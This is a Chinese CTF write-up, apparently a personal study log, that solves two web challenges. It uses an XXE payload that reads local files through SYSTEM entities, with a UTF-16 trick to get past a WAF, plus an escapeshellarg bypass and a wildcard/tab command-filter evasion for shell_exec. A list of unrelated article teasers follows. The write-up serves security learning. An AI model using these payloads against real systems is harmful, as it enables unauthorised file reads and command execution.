5月23日学习记录

[CSAWQual 2019]Unagi

涉及:xxe漏洞,外来编码xml绕过

打开环境,发现存在文件上传

简单上传一个php

毫无疑问上传失败,说是存在waf,绕过waf才能上传,点击here看看

xml编码,可能存在xxe漏洞,并且user可以查看信息

既然可能存在xxe漏洞,就上传个xml看看

在引用外部实体后,上传还是被waf拦截,去查阅资料绕过waf保护的xxe

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
</user>
</users>

通过外来编码,原本对于xml的保存是用UTF-8编码保存的,现在改用UTF-16来绕过WAF

上传成功,但是flag回显不完全,user里面还存在另外一个变量

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<users>
<user>
<username>&admin;</username>
<password>&admin;</password>
<name>&admin;</name>
<email>&admin;</email>
<group>&admin;</group>
<intro>&admin;</intro>
</user>
</users>

 成功拿到flag

[广东强网杯 2021 团队组]love_Pokemon

 <?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';if(!file_exists($dir)){mkdir($dir);
}function DefenderBonus($Pokemon){if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){die('catch broken Pokemon! mew-_-two');}else{return $Pokemon;}}function ghostpokemon($Pokemon){if(is_array($Pokemon)){foreach ($Pokemon as $key => $pks) {$Pokemon[$key] = DefenderBonus($pks);}}else{$Pokemon = DefenderBonus($Pokemon);}
}switch($_POST['myfavorite'] ?? ""){case 'picacu!':echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);break;case 'bulbasaur!':echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);$level = $_POST["levelup"] ?? "";if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){echo file_get_contents('./hint.php');}break;case 'squirtle':echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);break;case 'mewtwo':$dream = $_POST["dream"] ?? "";if(strlen($dream)>=20){die("So Big Pokenmon!");}ghostpokemon($dream);echo shell_exec($dream);
}?> 
一.读取hint.php

发现可以读取hint.php,但是要先满足switch的循环,post传参'myfavorite'等于'bulbasaur!',在满足一个if判断就能读取hint.php,要求在正则中不存在lv100,但是经过escapeshellarg处理后存在lv100

涉及到escapeshellarg函数

escapeshellarg:
(PHP 4 >= 4.0.3, PHP 5, PHP 7)
把字符串转码为可以在 shell 命令里使用的参数
string escapeshellarg ( string $arg )
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

 绕过escapeshellarg()

利用函数存在的漏洞:在处理超过ACill码范围的字符时,会直接过滤掉该字符;

所以利用不可见的字符来绕过escapeshellarg

选择用'%81'不可见字符绕过,第一层的payload

myfavorite=bulbasaur!&levelup=lv%81100

拿到提示flag在 /FLAG

二.读取flag

通过shell_exec,来命令执行读取flag,但是要考虑到前面的过滤,和字符串的长度

过滤了空格,flag和cat等命令,转义符也用不了

使用之前没有接触过的命令 od读取flag

od 是一个在Unix和Linux系统上可用的命令行工具,用于以不同的格式显示文件的内容。它的名称代表"octal dump"(八进制转储),因为它最初的目的是以八进制形式显示文件的内容

我尝试用大写来绕过对flag的过滤,但是绕过不了,把L和A都过滤了,所以使用通配符绕过

flag在/FLAG下,所以替换为/F[B-Z][@-Z]G

之所以会用@-Z是因为@在A前面

不知道大家有没有疑惑为什么过滤的明明是'l''a',但是'L''A'也被过滤了,经过查阅发现了之前没注意的地方,这里的正则匹配是/express/i,这种匹配对于大小写不敏感,所以这里大写的FLAG绕过不了,大小写绕过的情况是对于大小写敏感的匹配时使用,也是做题的时候比较疑惑的地方

payload

myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

一串8进制数,转换为acill字符

ump = "0000000 051516 041523 043124 033173 062466 033060 061466 026467 0000020 032464 033144 032055 062143 026461 061542 032062 030455 0000040 062544 032460 032071 031545 060462 076542 000012 0000055"octs = [("0o" + n) for n in ump.split(" ") if n]hexs = [int(n, 8) for n in octs]result = ""for n in hexs:if (len(hex(n)) > 4):swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)result += swapped[2:].zfill(4)print(bytes.fromhex(result).decode())

我看nss上有人说不存在的字符绕过escapeshellarg 时,回显不对,查看源码也没有hint,如果出现这种情况的话可以抓包再传一次参(是重新传参,不是重发啊),就可以,最后查看flag也是

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/14157.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Web3 知识体系架构图

Web3 知识体系架构图 │ ├── 1. 基础概念 │ │ │ ├── 1.1 区块链 │ │ ├── 工作原理 │ │ ├── 公链 vs 私链 │ │ └── 常见区块链平台&#xff08;如比特币、以太坊&#xff09; │ │ │ ├── 1.2 去中心化 │ │ ├── P2P 网络 │ │ ├── 去中心化…

【计算机毕业设计】基于SSM++jsp的网上服装销售系统【源码+lw+部署文档】

目录 第一章 绪 论 第二章 关键技术的研究 2.1 JSP技术介绍 2.2 JAVA简介 2.3 ECLIPSE 开发环境 2.4 Tomcat服务器 2.5 MySQL数据库 第三章 系统分析 3.1 系统设计目标 3.2 系统可行性分析 3.3 系统功能分析和描述 3.4系统UML用例分析 3.4.1管理员用例 3.4.2用户用例 3.5系统流…

LeetCode刷题之HOT100之找到数组中消失的数字

2024/5/24 今天早上没有下雨&#xff0c;太好了。下周就要搬到二楼会议室开发了&#xff0c;很多计划都要被打破了。事已至此&#xff0c;先做题吧! 2、逻辑分析 题目的要求是&#xff1a;给定一个长度为n的整数数组nums&#xff0c;要输出在[1&#xff0c;n]范围内但没有出现…

JS 实现鼠标框选(页面选择)时返回对应的 HTML 或文案内容

JS 实现鼠标框选&#xff08;页面选择&#xff09;时返回对应的 HTML 或文案内容 一、需求背景 1、项目需求 当用户进行鼠标框选选择了页面上的内容时&#xff0c;把选择的内容进行上报。 2、需求解析 虽然这需求就一句话的事&#xff0c;但是很显然&#xff0c;没那么简单…

Linux 进程相关概念

用以下指令查找正在运行的进程&#xff0c;并使用 grep 过滤出包含 "int" 的行。 "ps -aux" 显示当前系统上所有用户的进程列表&#xff0c;而 grep 命令则筛选出包含 "int" 的行。 ps -aux|grep int p代表process进程 1.什么是程序&#xff…

【代码随想录】【算法训练营】【第17天】 [110]平衡二叉树 [257]二叉树的所有路径 [404]左叶子之和

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 17&#xff0c;又是一个令人愉快的周五~ 题目详情 [110] 平衡二叉树 题目描述 110 平衡二叉树 解题思路 前提&#xff1a;平衡二叉树&#xff1a;左右子树高度差不超过1, 思路&#xff1a;…

短视频商城全套源码:开启电商新纪元

随着数字媒体的快速发展&#xff0c;短视频平台已经成为人们获取信息、娱乐和社交的重要渠道。在这样一个大背景下&#xff0c;短视频商城的兴起&#xff0c;无疑为电商行业带来了新的机遇和挑战。本文将探讨短视频商城全套源码的重要性&#xff0c;以及它如何助力商家和开发者…

并发编程常见面试题

文章目录 为什么要使用线程池为什么不建议使用 Executors静态工厂构建线程池synchronized的实现原理Synchronized和Lock的区别什么是AQS什么是阻塞队列 为什么要使用线程池 关于线程池的作用和线程池的执行流程参考&#xff1a;java线程池 为什么不建议使用 Executors静态工厂…

ffmpeg3.1.1版本连接ftp服务器失败

发现这个问题是在ffmpeg4之后修复的&#xff1a; 原因在于libavformat文件下的ftp.c文件&#xff1a; 修改方法&#xff1a;加入在TCP控制连接时加入应答代码202&#xff1a; static int ftp_features(FTPContext *s) {static const char *feat_command "FEAT\r\…

cfa二级大神复习经验分享系利(七)

这是我第二次参加二级考试&#xff0c;去年第一次参加二级&#xff0c;虽然考完感觉还不错&#xff0c;但最终成绩是Band 8&#xff0c;距离通过还是差了不少&#xff0c;在郁闷了几天后&#xff0c;重新振作&#xff0c;终于在第二次考试中稳稳通过。在考试经验总结之前&#…

云HIS医院信息管理系统源码(二级、乡镇、民营医院):云HIS系统与传统HIS系统的不同

云HIS医院信息管理系统源码&#xff08;二级、乡镇、民营医院&#xff09;&#xff1a;云HIS系统与传统HIS系统的不同 什么是医疗SaaS软件平台&#xff1f; HIS-SaaS&#xff08;Hospital Information System Software as a Service&#xff09;是一种医院信息系统的服务模式&…

引领数字创作新潮流——Autodesk Maya 2025 for Mac/win

作为全球领先的三维动画和视觉特效软件&#xff0c;Autodesk Maya 2025 引领着数字创作的新潮流。无论是电影、游戏、电视剧还是虚拟现实项目&#xff0c;Maya 2025 都是创作者们不可或缺的强大工具。 Maya 2025 在功能上持续创新&#xff0c;提供了一系列强大的工具和功能&am…

npm是什么 ?

npm是Node.js生态系统的基石&#xff0c;它不仅让你能够轻松安装和管理软件包&#xff08;或称为“模块”&#xff09;&#xff0c;还提供了丰富的功能来增强你的开发流程。想象npm如同一个巨大的工具箱&#xff0c;里面装满了各种工具&#xff0c;从基础的螺丝刀到高级的电子测…

Delphi编程之旅:从零开始到实战精通

Delphi编程之旅&#xff1a;从零开始到实战精通 Delphi基础&#xff1a;启动你的编程引擎安装与环境搭建第一个程序&#xff1a;“Hello, Delphi!” Pascal语言精要基本语法面向对象编程 实战案例&#xff1a;构建一个简易记事本应用UI设计功能实现保存与加载文本 安全性与性能…

【网络与并发编程】

网络与并发编程 1. 网络编程1.1 网络基础知识1.1.1 什么是网络1.2.3 网络功能1.2.3 网络分类1.2.4 网络性能衡量指标1.2.5 网络编程中的几个关键概念1.2.6 网络通信要解决的问题1.2.7 网络通信协议1.1.8 网络通信标准1.1.9 通信地址 1.2 UDP 传输方法1.2.1 套接字简介1.2.2 UDP…

MyBatis系统学习篇 - MyBatis的缓存

MyBatis的缓存实现原理主要基于三级缓存机制&#xff0c;包括一级缓存&#xff08;本地缓存&#xff09;、二级缓存&#xff08;全局缓存&#xff09;和三级缓存&#xff08;跨会话缓存&#xff09;。这个缓存在我们实际开发中可以避免我们查询重复的数据&#xff0c;在一定程度…

rust 学习--所有权

所有权是rust的核心功能。 Rust 是通过所有权来管理内存回收的 栈&#xff08;Stack&#xff09; 栈是后进先出的 栈中存储的数据在编译时是固定内存大小的数据 数据移除栈叫出栈&#xff0c;数据存入栈叫入栈 入栈要比在堆上分配内存块&#xff0c;入栈时分配器无需为存储…

【全开源】智能名片系统源码(Fastadmin+ThinkPHP和Uniapp)

数字时代的新名片&#xff0c;连接未来的桥梁 引言 在数字化浪潮的推动下&#xff0c;传统名片已经逐渐淡出人们的视线。取而代之的是智能名片系统&#xff0c;它以其高效、便捷和智能化的特点&#xff0c;成为了商务交流的新宠。而智能名片系统源码&#xff0c;作为其核心驱…

Spring Cloud应用框架

一、引言 随着微服务架构的兴起&#xff0c;如何有效地管理和协调微服务之间的通信、配置、服务发现、熔断等成为了关键问题。Spring Cloud作为一套微服务解决方案&#xff0c;提供了丰富的组件和功能&#xff0c;帮助开发者快速构建和部署微服务应用。本文将详细介绍Spring C…

SAP销售手工发票录入

销售手工发票录入用于处理未启用 SD 模块标准处理流程的零星销售业务。 科目设置 收入类科目&#xff1a;设置税务类型&#xff0c;允许含税/不含税过账应收账款: 留空。其他应收款的设置类似 编辑选项设置 在中国&#xff0c;编辑选项一般设置为基于总额计税。使用事务码 FB…